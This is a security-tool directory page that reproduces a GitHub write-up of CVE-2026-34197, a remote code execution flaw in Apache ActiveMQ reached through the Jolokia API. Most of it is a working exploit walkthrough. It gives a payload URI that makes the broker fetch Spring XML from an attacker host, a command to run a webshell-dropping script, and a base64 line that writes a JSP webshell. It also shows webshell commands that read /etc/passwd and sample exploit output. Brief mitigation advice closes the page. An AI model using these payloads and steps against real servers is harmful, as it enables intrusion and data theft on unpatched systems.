Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia vulnerability analysis and reproduction notes | Kitploit
Tools/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ RCE via Jolokia vulnerability analysis and reproduction notes

View Repository
63 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia

1. Overview

ItemDetails
CVE IDCVE-2026-34197
CVSS8.8 (HIGH)
Vulnerability TypeRemote Code Execution (RCE)
CWECWE-20 Improper Input Validation / CWE-94 Code Injection
Affected ComponentApache ActiveMQ Classic - Jolokia JMX-HTTP Bridge
Affected Versions< 5.19.4 and 6.0.0 through 6.2.2
Fixed Versions5.19.4 / 6.2.3
Disclosure Date2026-04-07
AuthenticationRequired by default, commonly admin:admin. Versions 6.0.0-6.1.1 may be reachable without authentication when chained with CVE-2024-32114.
DiscoveryReported as AI-assisted research by Anthropic Claude, after being present for about 13 years.

2. Root Cause

2.1 Attack Chain

root@kitploit:~
Attacker
  |
  |-- 1. POST /api/jolokia/
  |      Invoke BrokerService.addNetworkConnector(String)
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
  |      brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
  |
  |-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
  |
  |-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
  |      The init-method="start" command runs before configuration validation blocks the URI.
  |
  `-- 5. Remote code execution is reached.

2.2 Key Conditions

  1. Jolokia API exposure - The ActiveMQ Web Console exposes /api/jolokia/, providing JMX-over-HTTP access.
  2. Overbroad MBean allowlist - The CVE-2022-41678 fix introduced an allowlist that permits broad org.apache.activemq:* operations, including addNetworkConnector.
  3. VM Transport remote configuration - The brokerConfig parameter of the vm:// transport can point to remote Spring XML, and bean instantiation happens before the configuration is rejected.

2.3 Fix Behavior

ActiveMQ 6.2.3 added validation inside addNetworkConnector() to reject vm:// transport URIs:

root@kitploit:~
"error": "VM scheme is not allowed"

3. Reproduction

3.1 Environment

ItemDetails
Attacker HostmacOS with OrbStack Docker
Target Imagealfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
Runtime Useramq (uid=33031)
Base OSRocky Linux 8.9

3.2 Steps

Step 1: Start the lab

root@kitploit:~
cd upstream-poc
docker compose up -d

Step 2: Verify the Jolokia API

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

A status: 200 response confirms that Jolokia is reachable.

Step 3: Run the exploit and write a webshell

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <YOUR_IP> \
  --lport 9999

The script performs the following actions:

  1. Checks the Jolokia API.
  2. Discovers the broker name.
  3. Removes an existing NetworkConnector named NC to make repeated testing reliable.
  4. Starts a local HTTP server that serves a malicious Spring XML payload. The JSP webshell is embedded as base64, so the target only needs to fetch the XML once.
  5. Sends an addNetworkConnector request to trigger the vulnerable code path.
  6. Verifies that the webshell was written successfully.

Step 4: Use the webshell

root@kitploit:~
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"

3.3 Sample Output

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Target fetches one XML payload; JSP is written from inline base64
===============================================================

[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. Version Comparison

VersionImageJolokia ResponseRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCSuccessful as uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCSuccessful as uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedFixed

5. Exploitation Notes and Limitations

5.1 Repeated Exploitation

addNetworkConnector() registers a connector named NC. A second registration fails with a JMX naming conflict and returns a 500 error. The script handles this by calling removeNetworkConnector("NC") before triggering the exploit.

5.2 Webshell Write

ActiveMQ uses embedded Jetty, but the webapps directory exists on disk and the JSP engine compiles newly written .jsp files. This makes webshell writing possible in the tested environment.

The payload writes the JSP using inline base64:

root@kitploit:~
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp

Benefits:

  • Avoids XML parsing issues caused by JSP special characters such as <, >, %, and ".
  • Avoids a second outbound request from the target to download the JSP. The target only fetches the XML payload.

5.3 Outbound Network Requirement

The target must be able to reach the attacker-controlled HTTP server to fetch the Spring XML payload. If the target has no outbound route to the attacker, this exploit path cannot complete.

5.4 Jolokia Origin Check

Direct Jolokia requests may return 403 due to CORS checks. Include an Origin header that matches the target:

root@kitploit:~
Origin: http://TARGET:8161

6. Files

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # This report
|-- exploit_webshell.py          # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/                # File copy from dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Lab environment for ActiveMQ 6.2.1
    |-- exploit_poc.py           # Original PoC script with serve/exploit/auto modes
    `-- serve_payload.py         # Simple payload HTTP server

Script Comparison

ScriptPurposeOutbound RequirementWebshell
exploit_poc.pyOriginal blind RCE PoC that runs an arbitrary commandRequiredNo
exploit_webshell.pyOne-shot reflected RCE through a written JSP webshellRequired only for the XML fetchAutomatically written with a random filename

7. Mitigation

  1. Upgrade - Upgrade to ActiveMQ Classic 5.19.4+ or 6.2.3+.
  2. Restrict Jolokia access - Limit access to port 8161 with firewall rules or network policy.
  3. Disable Jolokia - If remote JMX management is not required, disable the Jolokia API in jetty.xml.
  4. Change default credentials - Replace the default admin:admin credentials.
  5. Restrict outbound access - Prevent ActiveMQ from reaching untrusted external HTTP resources.

8. References

  • Horizon3.ai disclosure: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache security advisory: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • Original PoC repository: https://github.com/dinosn/CVE-2026-34197
Download Tool